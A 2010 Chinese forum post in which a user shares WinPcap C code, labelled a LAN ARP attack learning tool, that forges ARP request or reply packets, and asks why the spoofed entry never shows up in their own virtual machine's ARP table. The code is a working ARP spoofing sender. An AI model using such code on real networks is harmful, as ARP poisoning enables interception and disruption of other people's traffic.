标题:这winPcap的ARP有没有用?
只看楼主
万士心平
Rank: 1
等 级:新手上路
帖 子:20
专家分:0
注 册:2010-1-30
结帖率:55.56%
 问题点数:0 回复次数:0 
这winPcap的ARP有没有用?
程序代码:
#define REMOTE_HOST
#include<stdio.h>
#include<stdlib.h>
#include"pcap.h"
#include"remote-ext.h"
#pragma comment(lib,"wpcap.lib")
int main(int argc,char **argv){
    pcap_t *fp;
    char errbuf[PCAP_ERRBUF_SIZE+1];
    u_char packet[100];
    int j;
   
    pcap_if_t *alldevs;
    pcap_if_t *d;
    int inum;
    int i=0,m,n;


    if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1){
        fprintf(stderr,"Error in pcap_findalldevs:%s\n",errbuf);       
        exit(1);
        }
    /*打印列表*/
    for(d=alldevs;d;d=d->next){
        printf("%d.%s\n",++i,d->name);
        if(d->description){
            printf("(%s)\n",d->description);
       
            }
        else{
            printf("(No description\n)");
            }

   
        }
    if(i==0){
        printf("No Interfaces found ! Make sure wincap is installed \n");
        return -1;
   
        }
    printf("Enter the interface number (1-%d),pls",i);
    scanf("%d",&inum);

    if(inum<1 || inum>i){
        printf("\ninterface number out of range\n");
        /*释放设备列表*/
        pcap_freealldevs(alldevs);
        return -1;
        }

    /*跳转到被选中的设备*/

    for(d=alldevs,i=0;i<inum-1;d=d->next,i++);
        /*打开输出设备*/
        if((fp=pcap_open(d->name,100,PCAP_OPENFLAG_PROMISCUOUS,1000,NULL,errbuf))==NULL){
            fprintf(stderr,"\nUable to open the adapter.%s is not supported by Winpcap\n",argv[1]);
            return -1;
       
            }
       
        printf("************局域网ARP攻击学习测试工具**************\n");

        /*目的主机的MAC地址*/
       
        printf("请输入路由器的MAC地址(例:ff:ff:ff:ff:ff:ff)\n");

        scanf("%2x:%2x:%2x:%2x:%2x:%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);

        /*设置MAC源地址*/
       
        printf("请输入攻击者的IP对应的MAC地址(例如FF:FF:FF:FF:FF:FF)\n");

        scanf("%2x:%2x:%2x:%2x:%2x:%2x",&packet[6],&packet[7],&packet[8],&packet[9],&packet[10],&packet[11]);

        /*帧类型*/
        packet[12]=0x08;  //arp
        packet[13]=0x06; //arp
        /*arp报文*/
        packet[14]=0x00;  //hardware_type
        packet[15]=0x01;   //ethernet
        packet[16]=0x08; //protocol type
        packet[17]=0x00; //ip
        packet[18]=0x06; //hardware_addr length
        packet[19]=0x04; //protocol_addr length
        packet[20]=0x00;  //arp_type: reply :2
        printf("请输入是什么类型的ARP:(1.arp请求(request)2.arp应答(reply))\n");

        scanf("%2x",&packet[21]);

        for(i=22;i<28;i++){
            packet[i]=packet[i-16];  //src mac_address
       
            }
           
        printf("请输入攻击者的IP地址(x.x.x.x)\n");   //src ip_address or under attacked host ip_address

        scanf("%d.%d.%d.%d",&packet[28],&packet[29],&packet[30],&packet[31]);

        for(i=32;i<38;i++){   //destination mac_address
            packet[i]=packet[i-32];
            }
        printf("请输入目标主机的IP地址(如x.x.x.x)\n"); //destination ip_address
       
        scanf("%d.%d.%d.%d",&packet[38],&packet[39],&packet[40],&packet[41]);

        for(i=42;i<60;i++){  //填充成Ethernet长度
            packet[i]=0x00;
            }        

        printf("attraking %d.%d.%d.%d\n",packet[38],packet[39],packet[40],packet[41]);
        /*发送数据包*/

        printf("请输入要发送的次数\n");
       
        scanf("%d",&i);
        while(i-->0){
        if(pcap_sendpacket(fp,packet,60/*sizeof packet*/)!=0){
            fprintf(stderr,"can not send the packet:%s\n",pcap_geterr(fp));
           
            }
       
        else{
       
            printf("success!\n",i);
            }
        Sleep(1000);
        }
       
        


    return 0;
    }


发送出去的时候 我用的是我的输入顺序是:
1
fe:e3:4f:a1:23:56(我虚拟机的真实MAC)
34:54:fe:ff:2d:ad(我自己编的主机的MAC)
192.168.1.101(我的主机内网地址)
192.168.1.102(虚拟机的内网地址)
10
怎么我虚拟机上的对应的192.168.1.101 MA MAPPING表没有改变甚至说没有收到呢?
  请帮忙解答下!  这个是用WINPCAP 构造的ARP包,谢谢各位了
搜索更多相关主题的帖子: ARP winPcap 
2010-10-22 17:22



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-323680-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.020125 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved